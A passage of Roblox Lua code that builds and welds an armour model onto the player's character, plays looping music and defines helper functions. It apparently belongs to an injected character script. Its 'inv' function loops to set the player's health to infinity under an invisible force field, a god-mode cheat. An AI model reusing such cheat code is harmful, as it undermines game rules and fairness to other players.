		Part245.Size = Vector3.new(0.200000003, 0.200000048, 1.06754613)
		Part245.CFrame = CFrame.new(84.7113571, 0.642818213, 69.6025925, -4.57742686e-07, 1.889602e-06, -1, 0.154153615, -0.988046944, -1.93757205e-06, -0.988047063, -0.154153585, 1.60981841e-07)
		Part245.BottomSurface = Enum.SurfaceType.Smooth
		Part245.TopSurface = Enum.SurfaceType.Smooth
		Part245.Color = Color3.new(0.0627451, 0.164706, 0.862745)
		Part245.Position = Vector3.new(84.7113571, 0.642818213, 69.6025925)
		Part245.Orientation = Vector3.new(0, -90, 171.130005)
		Part245.Color = Color3.new(0.0627451, 0.164706, 0.862745)
		BlockMesh246.Parent = Part245
		BlockMesh246.Scale = Vector3.new(0.200000003, 0.200000003, 1)
		BlockMesh246.Scale = Vector3.new(0.200000003, 0.200000003, 1)
		Part247.Name = "Brick"
		Part247.Parent = Model111
		Part247.Material = Enum.Material.SmoothPlastic
		Part247.BrickColor = BrickColor.new("Lapis")
		Part247.Rotation = Vector3.new(98.8700027, 0, -90)
		Part247.Anchored = true
		Part247.CanCollide = false
		Part247.FormFactor = Enum.FormFactor.Symmetric
		Part247.Size = Vector3.new(0.200000003, 0.200000048, 0.200000003)
		Part247.CFrame = CFrame.new(85.2253647, 0.689387798, 69.6117401, -4.57742686e-07, 1, 1.60785328e-06, 0.154153615, 1.65919141e-06, -0.988046944, -0.988047063, -2.04414434e-07, -0.154153585)
		Part247.BottomSurface = Enum.SurfaceType.Smooth
		Part247.TopSurface = Enum.SurfaceType.Smooth
		Part247.Color = Color3.new(0.0627451, 0.164706, 0.862745)
		Part247.Position = Vector3.new(85.2253647, 0.689387798, 69.6117401)
		Part247.Orientation = Vector3.new(81.1299973, 180, 90)
		Part247.Color = Color3.new(0.0627451, 0.164706, 0.862745)
		BlockMesh248.Parent = Part247
		BlockMesh248.Scale = Vector3.new(0.200000003, 0.200000003, 0.5)
		BlockMesh248.Scale = Vector3.new(0.200000003, 0.200000003, 0.5)
		Part249.Name = "Brick"
		Part249.Parent = Model111
		Part249.Material = Enum.Material.SmoothPlastic
		Part249.BrickColor = BrickColor.new("Lapis")
		Part249.Rotation = Vector3.new(-81.1299973, 0, 90)
		Part249.Anchored = true
		Part249.CanCollide = false
		Part249.FormFactor = Enum.FormFactor.Symmetric
		Part249.Size = Vector3.new(0.200000003, 0.200000048, 3.76191354)
		Part249.CFrame = CFrame.new(85.334816, 2.19723153, 69.8480835, -4.57742686e-07, -1, -1.52042981e-06, 0.154153615, -1.57281283e-06, 0.988046944, -0.988047063, 2.17891056e-07, 0.154153585)
		Part249.BottomSurface = Enum.SurfaceType.Smooth
		Part249.TopSurface = Enum.SurfaceType.Smooth
		Part249.Color = Color3.new(0.0627451, 0.164706, 0.862745)
		Part249.Position = Vector3.new(85.334816, 2.19723153, 69.8480835)
		Part249.Orientation = Vector3.new(-81.1299973, 0, 90)
		Part249.Color = Color3.new(0.0627451, 0.164706, 0.862745)
		BlockMesh250.Parent = Part249
		BlockMesh250.Scale = Vector3.new(0.200000003, 0.200000003, 1)
		BlockMesh250.Scale = Vector3.new(0.200000003, 0.200000003, 1)
		Part251.Name = "Brick"
		Part251.Parent = Model111
		Part251.Material = Enum.Material.SmoothPlastic
		Part251.BrickColor = BrickColor.new("Lapis")
		Part251.Rotation = Vector3.new(-171.130005, -90, 0)
		Part251.Anchored = true
		Part251.CanCollide = false
		Part251.FormFactor = Enum.FormFactor.Symmetric
		Part251.Size = Vector3.new(0.200000003, 0.200000048, 0.200000003)
		Part251.CFrame = CFrame.new(85.1451187, 0.752628565, 69.6220932, -4.57742686e-07, 1.889602e-06, -1, 0.154153615, -0.988046944, -1.93757205e-06, -0.988047063, -0.154153585, 1.60981841e-07)
		Part251.BottomSurface = Enum.SurfaceType.Smooth
		Part251.TopSurface = Enum.SurfaceType.Smooth
		Part251.Color = Color3.new(0.0627451, 0.164706, 0.862745)
		Part251.Position = Vector3.new(85.1451187, 0.752628565, 69.6220932)
		Part251.Orientation = Vector3.new(0, -90, 171.130005)
		Part251.Color = Color3.new(0.0627451, 0.164706, 0.862745)
		BlockMesh252.Parent = Part251
		BlockMesh252.Scale = Vector3.new(0.200000003, 0.200000003, 1)
		BlockMesh252.Scale = Vector3.new(0.200000003, 0.200000003, 1)
		Part253.Name = "Brick"
		Part253.Parent = Model111
		Part253.Material = Enum.Material.SmoothPlastic
		Part253.BrickColor = BrickColor.new("Lapis")
		Part253.Rotation = Vector3.new(-171.130005, -90, 0)
		Part253.Anchored = true
		Part253.CanCollide = false
		Part253.FormFactor = Enum.FormFactor.Symmetric
		Part253.Size = Vector3.new(0.200000003, 0.200000048, 0.300000042)
		Part253.CFrame = CFrame.new(85.1951294, 0.359328985, 69.561882, -4.57742686e-07, 1.889602e-06, -1, 0.154153615, -0.988046944, -1.93757205e-06, -0.988047063, -0.154153585, 1.60981841e-07)
		Part253.BottomSurface = Enum.SurfaceType.Smooth
		Part253.TopSurface = Enum.SurfaceType.Smooth
		Part253.Color = Color3.new(0.0627451, 0.164706, 0.862745)
		Part253.Position = Vector3.new(85.1951294, 0.359328985, 69.561882)
		Part253.Orientation = Vector3.new(0, -90, 171.130005)
		Part253.Color = Color3.new(0.0627451, 0.164706, 0.862745)
		BlockMesh254.Parent = Part253
		BlockMesh254.Scale = Vector3.new(0.200000003, 0.200000003, 1)
		BlockMesh254.Scale = Vector3.new(0.200000003, 0.200000003, 1)
		Part255.Name = "Brick"
		Part255.Parent = Model111
		Part255.Material = Enum.Material.SmoothPlastic
		Part255.BrickColor = BrickColor.new("Really black")
		Part255.Rotation = Vector3.new(8.86999989, 90, 0)
		Part255.Anchored = true
		Part255.CanCollide = false
		Part255.FormFactor = Enum.FormFactor.Symmetric
		Part255.Size = Vector3.new(0.217680693, 3.71122241, 1.16930699)
		Part255.CFrame = CFrame.new(84.7666321, 2.1597805, 69.9367294, -4.57742686e-07, -1.8021799e-06, 1, 0.154153615, 0.988046944, 1.85119518e-06, -0.988047063, 0.154153585, -1.74458279e-07)
		Part255.BottomSurface = Enum.SurfaceType.Smooth
		Part255.TopSurface = Enum.SurfaceType.Smooth
		Part255.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		Part255.Position = Vector3.new(84.7666321, 2.1597805, 69.9367294)
		Part255.Orientation = Vector3.new(0, 90, 8.86999989)
		Part255.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		BlockMesh256.Parent = Part255
		Part257.Name = "Brick"
		Part257.Parent = Model111
		Part257.Material = Enum.Material.SmoothPlastic
		Part257.BrickColor = BrickColor.new("Pastel Blue")
		Part257.Reflectance = 0.20000000298023
		Part257.Rotation = Vector3.new(90, 90, 0)
		Part257.Anchored = true
		Part257.CanCollide = false
		Part257.FormFactor = Enum.FormFactor.Symmetric
		Part257.Size = Vector3.new(0.200000003, 0.75576061, 0.200000003)
		Part257.CFrame = CFrame.new(85.2052994, 2.60081959, 71.120018, -1.85120132e-06, -5.99948677e-08, 1, 0.99999994, 2.66171992e-06, 1.85119575e-06, -2.66171992e-06, 0.99999994, 5.99902847e-08)
		Part257.BottomSurface = Enum.SurfaceType.Smooth
		Part257.TopSurface = Enum.SurfaceType.Smooth
		Part257.Color = Color3.new(0.501961, 0.733333, 0.858824)
		Part257.Position = Vector3.new(85.2052994, 2.60081959, 71.120018)
		Part257.Orientation = Vector3.new(0, 90, 90)
		Part257.Color = Color3.new(0.501961, 0.733333, 0.858824)
		BlockMesh258.Parent = Part257
		BlockMesh258.Scale = Vector3.new(0.25721249, 1, 0.857374966)
		BlockMesh258.Scale = Vector3.new(0.25721249, 1, 0.857374966)
		Part259.Name = "1"
		Part259.Parent = Model111
		Part259.Material = Enum.Material.SmoothPlastic
		Part259.BrickColor = BrickColor.new("Pastel Blue")
		Part259.Reflectance = 0.20000000298023
		Part259.Rotation = Vector3.new(90, 90, 0)
		Part259.Anchored = true
		Part259.CanCollide = false
		Part259.FormFactor = Enum.FormFactor.Symmetric
		Part259.Size = Vector3.new(0.200000003, 0.881482005, 0.200000003)
		Part259.CFrame = CFrame.new(85.1873627, 2.97467303, 71.1199875, -1.85120132e-06, -5.99948677e-08, 1, 0.99999994, 2.66171992e-06, 1.85119575e-06, -2.66171992e-06, 0.99999994, 5.99902847e-08)
		Part259.BottomSurface = Enum.SurfaceType.Smooth
		Part259.TopSurface = Enum.SurfaceType.Smooth
		Part259.Color = Color3.new(0.501961, 0.733333, 0.858824)
		Part259.Position = Vector3.new(85.1873627, 2.97467303, 71.1199875)
		Part259.Orientation = Vector3.new(0, 90, 90)
		Part259.Color = Color3.new(0.501961, 0.733333, 0.858824)
		BlockMesh260.Parent = Part259
		BlockMesh260.Scale = Vector3.new(0.300000012, 1, 1)
		BlockMesh260.Scale = Vector3.new(0.300000012, 1, 1)
		Part261.Name = "Brick"
		Part261.Parent = Model111
		Part261.Material = Enum.Material.SmoothPlastic
		Part261.BrickColor = BrickColor.new("Really black")
		Part261.Rotation = Vector3.new(-8.86999989, 90, 0)
		Part261.Anchored = true
		Part261.CanCollide = false
		Part261.FormFactor = Enum.FormFactor.Symmetric
		Part261.Size = Vector3.new(0.217680693, 3.71122241, 1.16930699)
		Part261.CFrame = CFrame.new(84.7666321, 2.15977883, 72.3222961, 3.44653273e-07, -1.81982534e-06, 1, -0.154159606, 0.98804605, 1.85119666e-06, -0.98804605, -0.154159606, 5.99901497e-08)
		Part261.BottomSurface = Enum.SurfaceType.Smooth
		Part261.TopSurface = Enum.SurfaceType.Smooth
		Part261.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		Part261.Position = Vector3.new(84.7666321, 2.15977883, 72.3222961)
		Part261.Orientation = Vector3.new(0, 90, -8.86999989)
		Part261.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		BlockMesh262.Parent = Part261
		Part263.Name = "Brick"
		Part263.Parent = Model111
		Part263.Material = Enum.Material.SmoothPlastic
		Part263.BrickColor = BrickColor.new("Really black")
		Part263.Rotation = Vector3.new(0, 90, 0)
		Part263.Anchored = true
		Part263.CanCollide = false
		Part263.FormFactor = Enum.FormFactor.Symmetric
		Part263.Size = Vector3.new(2.0220542, 2.03246331, 0.909533679)
		Part263.CFrame = CFrame.new(84.8275146, 2.97960472, 71.1290741, 5.99961609e-08, -1.85120155e-06, 1, -3.37511301e-06, 0.99999994, 1.85119586e-06, -0.99999994, -3.37511301e-06, 5.99902847e-08)
		Part263.BottomSurface = Enum.SurfaceType.Smooth
		Part263.TopSurface = Enum.SurfaceType.Smooth
		Part263.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		Part263.Position = Vector3.new(84.8275146, 2.97960472, 71.1290741)
		Part263.Orientation = Vector3.new(0, 90, 0)
		Part263.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		BlockMesh264.Parent = Part263
		Part265.Name = "Brick"
		Part265.Parent = Model111
		Part265.Material = Enum.Material.SmoothPlastic
		Part265.BrickColor = BrickColor.new("Lapis")
		Part265.Rotation = Vector3.new(171.130005, -90, 0)
		Part265.Anchored = true
		Part265.CanCollide = false
		Part265.FormFactor = Enum.FormFactor.Symmetric
		Part265.Size = Vector3.new(0.200000003, 0.200000048, 0.300000042)
		Part265.CFrame = CFrame.new(85.1951294, 0.359324932, 72.6971664, 3.44653273e-07, 1.90724722e-06, -1, -0.154159606, -0.98804605, -1.93757319e-06, -0.98804605, 0.154159606, -4.65132004e-08)
		Part265.BottomSurface = Enum.SurfaceType.Smooth
		Part265.TopSurface = Enum.SurfaceType.Smooth
		Part265.Color = Color3.new(0.0627451, 0.164706, 0.862745)
		Part265.Position = Vector3.new(85.1951294, 0.359324932, 72.6971664)
		Part265.Orientation = Vector3.new(0, -90, -171.130005)
		Part265.Color = Color3.new(0.0627451, 0.164706, 0.862745)
		BlockMesh266.Parent = Part265
		BlockMesh266.Scale = Vector3.new(0.200000003, 0.200000003, 1)
		BlockMesh266.Scale = Vector3.new(0.200000003, 0.200000003, 1)
		Part267.Name = "Brick"
		Part267.Parent = Model111
		Part267.Material = Enum.Material.SmoothPlastic
		Part267.BrickColor = BrickColor.new("Lapis")
		Part267.Rotation = Vector3.new(171.130005, -90, 0)
		Part267.Anchored = true
		Part267.CanCollide = false
		Part267.FormFactor = Enum.FormFactor.Symmetric
		Part267.Size = Vector3.new(0.200000003, 0.200000048, 0.200000003)
		Part267.CFrame = CFrame.new(85.1451187, 0.752625465, 72.6368942, 3.44653273e-07, 1.90724722e-06, -1, -0.154159606, -0.98804605, -1.93757319e-06, -0.98804605, 0.154159606, -4.65132004e-08)
		Part267.BottomSurface = Enum.SurfaceType.Smooth
		Part267.TopSurface = Enum.SurfaceType.Smooth
		Part267.Color = Color3.new(0.0627451, 0.164706, 0.862745)
		Part267.Position = Vector3.new(85.1451187, 0.752625465, 72.6368942)
		Part267.Orientation = Vector3.new(0, -90, -171.130005)
		Part267.Color = Color3.new(0.0627451, 0.164706, 0.862745)
		BlockMesh268.Parent = Part267
		BlockMesh268.Scale = Vector3.new(0.200000003, 0.200000003, 1)
		BlockMesh268.Scale = Vector3.new(0.200000003, 0.200000003, 1)
		Part269.Name = "Brick"
		Part269.Parent = Model111
		Part269.Material = Enum.Material.SmoothPlastic
		Part269.BrickColor = BrickColor.new("Really black")
		Part269.Rotation = Vector3.new(0, 90, 0)
		Part269.Anchored = true
		Part269.CanCollide = false
		Part269.FormFactor = Enum.FormFactor.Symmetric
		Part269.Size = Vector3.new(1.76480412, 0.974218845, 0.200000003)
		Part269.CFrame = CFrame.new(85.182869, 2.57548046, 71.1183243, 5.99961609e-08, -1.85120155e-06, 1, -3.37511301e-06, 0.99999994, 1.85119586e-06, -0.99999994, -3.37511301e-06, 5.99902847e-08)
		Part269.BottomSurface = Enum.SurfaceType.Smooth
		Part269.TopSurface = Enum.SurfaceType.Smooth
		Part269.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		Part269.Position = Vector3.new(85.182869, 2.57548046, 71.1183243)
		Part269.Orientation = Vector3.new(0, 90, 0)
		Part269.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		BlockMesh270.Parent = Part269
		Part271.Name = "Brick"
		Part271.Parent = Model111
		Part271.Material = Enum.Material.SmoothPlastic
		Part271.BrickColor = BrickColor.new("Really black")
		Part271.Rotation = Vector3.new(176.130005, 9.71000004, -179.350006)
		Part271.Anchored = true
		Part271.CanCollide = false
		Part271.FormFactor = Enum.FormFactor.Symmetric
		Part271.Size = Vector3.new(1, 0.569770336, 0.200000003)
		Part271.CFrame = CFrame.new(84.7381592, 4.22474623, 71.8252945, -0.985605001, 0.0112360846, 0.168690681, -2.17696652e-06, 0.99778825, -0.0664730072, -0.169064477, -0.0655165017, -0.983425081)
		Part271.BottomSurface = Enum.SurfaceType.Smooth
		Part271.TopSurface = Enum.SurfaceType.Smooth
		Part271.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		Part271.Position = Vector3.new(84.7381592, 4.22474623, 71.8252945)
		Part271.Orientation = Vector3.new(3.80999994, 170.270004, 0)
		Part271.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		BlockMesh272.Parent = Part271
		Part273.Name = "Brick"
		Part273.Parent = Model111
		Part273.Material = Enum.Material.SmoothPlastic
		Part273.BrickColor = BrickColor.new("Really black")
		Part273.Rotation = Vector3.new(0, 90, 0)
		Part273.Anchored = true
		Part273.CanCollide = false
		Part273.FormFactor = Enum.FormFactor.Symmetric
		Part273.Size = Vector3.new(2.0220542, 2.04569292, 0.909533679)
		Part273.CFrame = CFrame.new(84.636734, 2.98868513, 71.1290665, 5.99961609e-08, -1.85120155e-06, 1, -3.37511301e-06, 0.99999994, 1.85119586e-06, -0.99999994, -3.37511301e-06, 5.99902847e-08)
		Part273.BottomSurface = Enum.SurfaceType.Smooth
		Part273.TopSurface = Enum.SurfaceType.Smooth
		Part273.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		Part273.Position = Vector3.new(84.636734, 2.98868513, 71.1290665)
		Part273.Orientation = Vector3.new(0, 90, 0)
		Part273.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		BlockMesh274.Parent = Part273
		Part275.Name = "Brick"
		Part275.Parent = Model111
		Part275.Material = Enum.Material.SmoothPlastic
		Part275.BrickColor = BrickColor.new("Really black")
		Part275.Rotation = Vector3.new(-90, 75.2699966, 90)
		Part275.Anchored = true
		Part275.CanCollide = false
		Part275.FormFactor = Enum.FormFactor.Symmetric
		Part275.Size = Vector3.new(0.505757809, 1.79923868, 0.200000003)
		Part275.CFrame = CFrame.new(84.115448, 3.10737085, 71.1191025, 5.99961609e-08, -0.254260689, 0.967135847, -3.37511301e-06, 0.967135787, 0.254260719, -0.99999994, -3.27453017e-06, -7.97212124e-07)
		Part275.BottomSurface = Enum.SurfaceType.Smooth
		Part275.TopSurface = Enum.SurfaceType.Smooth
		Part275.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		Part275.Position = Vector3.new(84.115448, 3.10737085, 71.1191025)
		Part275.Orientation = Vector3.new(-14.7299995, 90, 0)
		Part275.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		BlockMesh276.Parent = Part275
		Part277.Name = "Brick"
		Part277.Parent = Model111
		Part277.Material = Enum.Material.SmoothPlastic
		Part277.BrickColor = BrickColor.new("Navy blue")
		Part277.Rotation = Vector3.new(90, 80.4899979, -90)
		Part277.Anchored = true
		Part277.CanCollide = false
		Part277.FormFactor = Enum.FormFactor.Symmetric
		Part277.Size = Vector3.new(0.34570837, 0.569770336, 0.200000003)
		Part277.CFrame = CFrame.new(83.9343872, 4.21474218, 71.2056961, -8.70278996e-08, 0.165252075, 0.986251473, -4.62681055e-06, 0.986251414, -0.16525206, -0.99999994, -4.57838178e-06, 6.77537173e-07)
		Part277.BottomSurface = Enum.SurfaceType.Smooth
		Part277.TopSurface = Enum.SurfaceType.Smooth
		Part277.Color = Color3.new(0, 0.12549, 0.376471)
		Part277.Position = Vector3.new(83.9343872, 4.21474218, 71.2056961)
		Part277.Orientation = Vector3.new(9.51000023, 90, 0)
		Part277.Color = Color3.new(0, 0.12549, 0.376471)
		BlockMesh278.Parent = Part277
		Part279.Name = "Brick"
		Part279.Parent = Model111
		Part279.Material = Enum.Material.SmoothPlastic
		Part279.BrickColor = BrickColor.new("Really black")
		Part279.Rotation = Vector3.new(0, 90, 0)
		Part279.Anchored = true
		Part279.CanCollide = false
		Part279.FormFactor = Enum.FormFactor.Symmetric
		Part279.Size = Vector3.new(0.34570837, 0.569770336, 0.200000003)
		Part279.CFrame = CFrame.new(84.1161728, 4.19977188, 71.2057037, -8.70278996e-08, -1.85120132e-06, 1, -4.62681055e-06, 0.99999994, 1.85119541e-06, -0.99999994, -4.62681055e-06, -8.70361063e-08)
		Part279.BottomSurface = Enum.SurfaceType.Smooth
		Part279.TopSurface = Enum.SurfaceType.Smooth
		Part279.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		Part279.Position = Vector3.new(84.1161728, 4.19977188, 71.2057037)
		Part279.Orientation = Vector3.new(0, 90, 0)
		Part279.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		BlockMesh280.Parent = Part279
		Script281.Name = "Welds"
		Script281.Parent = Model0
		Script281.Disabled = true
		table.insert(cors,sandbox(Script281,function()
	
			wait(.33)
	
			Tool=script.Parent
			Nib=Tool.Parent
	
			demodel=function()
				for _,v in pairs(script.Parent["RightLeg"]:children()) do
					v.Parent=Nib
				end	
				for _,v in pairs(script.Parent["LeftLeg"]:children()) do
					v.Parent=Nib
				end	
				for _,v in pairs(script.Parent["Torso"]:children()) do
					v.Parent=Nib
				end	
				for _,v in pairs(script.Parent["LeftArm"]:children()) do
					v.Parent=Nib
				end	
				for _,v in pairs(script.Parent["RightArm"]:children()) do
					v.Parent=Nib
				end	
			end
	
	
	
			weldparts=function()
				print("Welding")
				lel={}
				function jarate(p)
					for i=1, #p do
						table.insert(lel,p[i])
						k=p[i]:children()
						if #k>0 then
							jarate(k)
						end
					end
				end
				for _,v in pairs(script.Parent:children()) do
					if v.Name~="Cloak" and v.className~="Script" then
						v:BreakJoints()
						jarate(v:children())
					end
				end
				for _,v in pairs(lel) do
					if v.className=="Weld" or v.className=="Motor6D" then
						v:Remove()
					end
				end
				for _,v in pairs(script.Parent["RightLeg"]:children()) do
					if v.Name~="Right Leg1" then
						w=Instance.new("Weld")
						w.Part0=script.Parent["RightLeg"]["Right Leg1"]
						w.Part1=v
						w.C1=v.CFrame:inverse()*CFrame.new(v.Position)
						w.C0=script.Parent["RightLeg"]["Right Leg1"].CFrame:inverse()*CFrame.new(v.Position)
						w.Parent=w.Part0
					end
				end
				w=Instance.new("Weld")
				w.Part0=Nib["Right Leg"]
				w.Part1=script.Parent["RightLeg"]["Right Leg1"]
				w.Parent=w.Part0
				w.C0=CFrame.new(0,-.1,0)
				for _,v in pairs(script.Parent["LeftLeg"]:children()) do
					if v.Name~="Left Leg1" then
						w=Instance.new("Weld")
						w.Part0=script.Parent["LeftLeg"]["Left Leg1"]
						w.Part1=v
						w.C1=v.CFrame:inverse()*CFrame.new(v.Position)
						w.C0=script.Parent["LeftLeg"]["Left Leg1"].CFrame:inverse()*CFrame.new(v.Position)
						w.Parent=w.Part0
					end
				end
				w=Instance.new("Weld")
				w.Part0=Nib["Left Leg"]
				w.Part1=script.Parent["LeftLeg"]["Left Leg1"]
				w.Parent=w.Part0
				w.C0=CFrame.new(0,-.1,0)
				for _,v in pairs(script.Parent["RightArm"]:children()) do
					if v.Name~="Right Arm1" then
						w=Instance.new("Weld")
						w.Part0=script.Parent["RightArm"]["Right Arm1"]
						w.Part1=v
						w.C1=v.CFrame:inverse()*CFrame.new(v.Position)
						w.C0=script.Parent["RightArm"]["Right Arm1"].CFrame:inverse()*CFrame.new(v.Position)
						w.Parent=w.Part1
					end
				end
				w=Instance.new("Weld")
				w.Part0=Nib["Right Arm"]
				w.Part1=script.Parent["RightArm"]["Right Arm1"]
				w.Parent=w.Part0
				w.C0 = w.C0 * CFrame.Angles(0,math.rad(90),math.rad(90))
				for _,v in pairs(script.Parent["LeftArm"]:children()) do
					if v.Name~="Left Arm1" then
						w=Instance.new("Weld")
						w.Part0=script.Parent["LeftArm"]["Left Arm1"]
						w.Part1=v
						w.C1=v.CFrame:inverse()*CFrame.new(v.Position)
						w.C0=script.Parent["LeftArm"]["Left Arm1"].CFrame:inverse()*CFrame.new(v.Position)
						w.Parent=w.Part0
					end
				end
				w=Instance.new("Weld")
				w.Part0=Nib["Left Arm"]
				w.Part1=script.Parent["LeftArm"]["Left Arm1"]
				w.Parent=w.Part0
	
				for _,v in pairs(script.Parent["Torso"]:children()) do
					if v.Name~="Torso1" then
						w=Instance.new("Weld")
						w.Part0=script.Parent["Torso"]["Torso1"]
						w.Part1=v
						w.C1=v.CFrame:inverse()*CFrame.new(v.Position)
						w.C0=script.Parent["Torso"]["Torso1"].CFrame:inverse()*CFrame.new(v.Position)
						w.Parent=script.Parent["Torso"]["Torso1"]
					end
				end
	
				w=Instance.new("Weld")
				w.Part0=Nib["Torso"]
				w.Part1=script.Parent["Torso"]["Torso1"]
				w.C0=w.C0*CFrame.fromEulerAnglesXYZ(0,0,0)
				w.Parent=w.Part0
	
				for _,v in pairs(lel) do
					if v:IsA("BasePart") then v.Anchored=false end
				end
	
	
	
				wait(1)
	
				w=Instance.new("Weld")
				w.Part0=Nib.Torso
				w.Part1=Tool.Torso.Torso1
				w.C0=CFrame.new(0,0,0) * CFrame.fromEulerAnglesXYZ(0,0,math.pi)
				w.C1=CFrame.new(0,0,0)
				w.Parent=w.Part1
				w.Name="ClothingWeld"
	
				wait(.06)
	
				while Tool.Torso.Torso1:FindFirstChild("ClothingWeld")==nil do
					wait(.03)
					w=Instance.new("Weld")
					w.Part0=Nib.Torso
					w.Part1=Tool.Torso.Torso1
					w.C0=CFrame.new(0,0,0) * CFrame.fromEulerAnglesXYZ(0,0,math.pi)
					w.C1=CFrame.new(0,0,0)
					w.Parent=w.Part1
					w.Name="ClothingWeld"
				end
	
				w=Instance.new("Weld")
				w.Part0=Nib["Right Leg"]
				w.Part1=Tool.RightLeg["Right Leg1"]
				w.C0=CFrame.new(0,0,0)
				w.C1=CFrame.new(0,0,0)
				w.Parent=w.Part1
				w.Name="ClothingWeld"
	
				w=Instance.new("Weld")
				w.Part0=Nib["Left Leg"]
				w.Part1=Tool.LeftLeg["Left Leg1"]
				w.C0=CFrame.new(0,0,0)
				w.C1=CFrame.new(0,0,0)
				w.Parent=w.Part1
				w.Name="ClothingWeld"
	
				w=Instance.new("Weld")
				w.Part0=Nib["Right Arm"]
				w.Part1=Tool.RightArm["Right Arm1"]
				w.C0=CFrame.new(0,0,0)
				w.C1=CFrame.new(0,0,0)
				w.Parent=w.Part1
				w.Name="ClothingWeld"
	
				w=Instance.new("Weld")
				w.Part0=Nib["Left Arm"]
				w.Part1=Tool.LeftArm["Left Arm1"]
				w.C0=CFrame.new(0,0,0) * CFrame.fromEulerAnglesXYZ(0,0,math.pi)
				w.C1=CFrame.new(0,0,0)
				w.Parent=w.Part1
				w.Name="ClothingWeld"
	
				wait()
	
			end
			weldparts()
	
			wait(.5)
			demodel()
		end))
		for i,v in pairs(mas:GetChildren()) do
			v.Parent = game:GetService("Players").LocalPlayer.Character
			pcall(function() v:MakeJoints() end)
		end
		mas:Destroy()
		for i,v in pairs(cors) do
			spawn(function()
				pcall(v)
			end)
		end
	
		wait(0.5)
		player = game.Players.LocalPlayer
		char = player.Character
		hmnd = char.Humanoid
		larm = char["Left Arm"]
		rarm = char["Right Arm"]
		lleg = char["Left Leg"]
		rleg = char["Right Leg"]
		torso = char.Torso
		mouse = player:GetMouse()
		lght = game.Lighting
		bdclr = char["Body Colors"]
		Neck = torso.Neck
	
		-- More variables, just in case.
		Player=game:GetService("Players").LocalPlayer
		Character=Player.Character 
		PlayerGui=Player.PlayerGui
		Backpack=Player.Backpack 
		Torso=Character.Torso 
		Head=Character.Head 
		Humanoid=Character.Humanoid
		Mouse = player:GetMouse()
		m=Instance.new('Model',Character)
		LeftArm=Character["Left Arm"] 
		LeftLeg=Character["Left Leg"] 
		RightArm=Character["Right Arm"] 
		RightLeg=Character["Right Leg"] 
		LS=Torso["Left Shoulder"] 
		LH=Torso["Left Hip"] 
		RS=Torso["Right Shoulder"] 
		RH=Torso["Right Hip"] 
		Face = Head.face
		Neck=Torso.Neck
		it=Instance.new
		attacktype=1
		vt=Vector3.new
		cf=CFrame.new
		euler=CFrame.fromEulerAnglesXYZ
		angles=CFrame.Angles
		cloaked=false
		necko=cf(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
		necko2=cf(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
		LHC0=cf(-1,-1,0,-0,-0,-1,0,1,0,1,0,0)
		LHC1=cf(-0.5,1,0,-0,-0,-1,0,1,0,1,0,0)
		RHC0=cf(1,-1,0,0,0,1,0,1,0,-1,-0,-0)
		RHC1=cf(0.5,1,0,0,0,1,0,1,0,-1,-0,-0)
		HDWLD = cf(0,-0.75,-0.45)*angles(0,0,-12.5)
		BLDWLD = cf(0,8,0)*angles(0,-44.75,0)
		RootPart=Character.HumanoidRootPart
		RootJoint=RootPart.RootJoint
		RootCF=euler(-1.57,0,3.14)
		attack = false 
		attackdebounce = false 
		deb=false
		equipped=true
		hand=false
		MMouse=nil
		combo=0
		mana=0
		trispeed=.2
		attackmode='none'
		local idle=0
		local Anim="Idle"
		local Effects={}
		local gun=false
		local shoot=false
		player=nil 
		mana=0
	
		it = Instance.new
	
		-- Music --
	
		z = it("Sound",char)
		z.Looped = true
		z.Name = "moosik"
		z.SoundId = "rbxassetid://940743619"
		z.TimePosition = 30
		z.Volume = 0
		z:Play()
		themeBegan = false
		wait(0.5)
	
		function fadeInMusic()
			while z.Volume < 1 do
				wait()
				z.Volume = z.Volume + 0.025
			end
		end
	
		delay(0,fadeInMusic)
	
		function restartMusic()
			wait(89.715)
			z.TimePosition = 15.375
			while true do
				wait(104.34)
				z.TimePosition = 15.375
			end
		end
	
		delay(0,restartMusic)
	
		-- Functions --
	
		local inv = function()
			while true do
				wait()
				hmnd.MaxHealth = math.huge
				hmnd.Health = math.huge
				if char:FindFirstChild("ForceField") == nil then
					ff = it("ForceField",char)
					ff.Visible = false
				end
			end
		end
	
		delay(0,inv)
	
		local snd = function(id,pitch)
			coroutine.resume(coroutine.create(function()
				s = Instance.new("Sound",char)
				s.SoundId = id
				s.Pitch = pitch
				s:Play()
				game.Debris:AddItem(s)
			end))
		end
	
		local part = function(name,parent,brkclr,mtrl,rfl,trns,sz)
			prt = it("Part",parent)
			prt.Name = name
			prt.CanCollide = false
			prt.BrickColor = BrickColor.new(brkclr)
			prt.Material = mtrl
			if brkclr == "Black" and mtrl == "Ice" then
				prt.Color = Color3.fromRGB(20,20,75)
			end
			if brkclr == "Black metallic" and mtrl == "SmoothPlastic" then
				prt.Color = Color3.fromRGB(25,25,50)
			end
			prt.Reflectance = rfl
			prt.Transparency = trns
			prt.Size = sz
			prt.Anchored = true
			return prt
		end
		local mesh = function(meshtype,parent,meshid,textureid,scale)
			msh = it("SpecialMesh",parent)
			if meshtype == "FileMesh" then
				msh.MeshId = meshid
				msh.TextureId = textureid
			end
			msh.MeshType = meshtype
			msh.Scale = scale
			return(msh)
		end
		local weld = function(part1,part2,x1,y1,z1,x2,y2,z2)
			w = it("Weld",part1)
			w.Part0 = part1
			w.Part1 = part2
			if part1.Anchored or part2.Anchored then
				part1.Anchored = false
				part2.Anchored = false
			end
			w.C0 = (CFrame.new(x1,y1,z1)*CFrame.Angles(math.rad(z2),math.rad(y2),math.rad(x2)))
			return(w)
		end
